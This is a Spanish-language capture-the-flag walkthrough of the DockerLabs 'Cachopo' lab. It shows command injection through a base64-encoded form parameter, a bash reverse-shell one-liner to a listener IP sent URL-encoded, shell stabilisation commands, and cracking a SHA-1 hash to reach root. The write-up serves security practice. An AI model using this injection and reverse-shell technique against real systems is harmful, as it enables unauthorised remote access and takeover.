DockerLabs Cachopo

DockerLabs Cachopo

Esta es una máquina de DockerLabs de nivel medio

·

5 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Si realizamos el escaneo de la dirección IP podemos observar que solo tenemos 2 puertos disponibles.

Si vamos a la dirección IP desde el navegador podemos ver una página de un local de comida, pero los botones no son funcionales.

Tratamos de listar directorios, pero no obtenemos nada, ya que este después de unas cuantos segundos se satura y se cae el servicio, así que lo más probable es que no sea por ahí.

Revisando la página el lugar que no observamos a fondo era el formulario de reservación. Esta vez lo revisaremos para verificar si envía alguna información o si no es función al igual que los botones del Navbar.

Para ello abriremos burpsuite y luego de iniciar el servicio enviaremos el formulario. Luego de enviar el formulario e interceptar la información y lo enviamos al request. Entonces al enviar el request podemos observar un texto raro. Error: 'utf-8' codec can't decode byte 0xb5 in position 0: invalid start byte.

Buscando sobre este error entendimos que el formulario está enviando datos que contienen caracteres que no son válidos en la codificación UTF-8, y el programa está tratando de decodificarlos usando UTF-8, lo que causa el problema. Probamos agregando números y obtuvimos otro error.

Revisando sobre este error nuevo podemos observar que está relacionado con la manipulación de datos codificados en base 64 donde la longitud no es un múltiplo de 4.

Entonces probamos convirtiendo un texto a base64 para ver si cambia algo en la petición.

Enviamos la petición con ese parámetro y podemos observar que se ejecuta correctamente, pero no vemos nada.

Probamos intentando enviarle un comando y podemos observar que recibimos una respuesta muy interesante.

Queremos probar si podemos usar más de un comando y podemos observar que si es posible.

Ya que podemos enviar código, probamos enviándole una shell.

echo "bash -c 'bash -i >& /dev/tcp/192.168.0.5/1234 0>&1'" | base64

Enviamos la petición, pero nos da un error.

Probando otras maneras de enviar notamos que si ese texto en base64 lo enviamos URL-encodeado también funciona.

Así que url-encodeamos el código en base 64 de la shell que generamos, esto lo podemos hacer directo en burpsuite, seleccionamos el código que queremos convertir y presionamos ctrl+u y ya lo tenemos convertido.

Una vez hecho ello, enviamos la petición y podemos observar que en nuestro listener ya tenemos acceso a la máquina.

Como ya entramos y para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

Como ya estamos con más libertad tratamos de realizar un sudo -l, pero no es posible, ya que no tenemos el password, listamos permisos SUID, pero tampoco podemos observar nada, Probamos viendo tareas programadas, pero no hay nada. Así que listamos los archivos de la carpeta y podemos observar que tenemos varias carpetas y un script.

Revisando los archivos de la primera carpeta encontramos un archivo en el directorio app el cual parecen ser hashes.

Revisando la estructura del hash podemos observar que el hash utiliza el algoritmo SHA-1 la sección $d$ podría ser un indicador de que el hash está codificado de alguna manera personalizada y LxVnWkB8JdGq2rH0UjPzKvT5wM1= Esta es la cadena codificada, probablemente el hash en sí.

Buscamos por internet cada uno de los hashes por si hay alguno por ahí y nos indique un archivo de donde obtener el decodificador como se genera, pero no encontramos nada.

Así que supondremos que necesitamos uno más preciso y optamos por buscar información del autor PatxaSec. Buscando algún GitHub podemos observar que encontramos el perfil.

En su repositorio cuenta con un SHA_Decrypt y en su descripción indica SHA1 lo cual coincide con la estructura del hash que encontramos. https://github.com/PatxaSec/SHA_Decrypt.

Observamos como usarlo y luego lo clonamos.

Probamos cada uno de los hashes y solo uno es el que nos da un resultado positivo con el password cecina.

Revisando a qué posibles usuarios les puede corresponder volvemos a revisar usuarios con bash y solo hay 3.

Probamos con Ubuntu, pero no le pertenece.

Probando como root podemos observar que el acceso es correcto y de esta manera hemos culminado la máquina.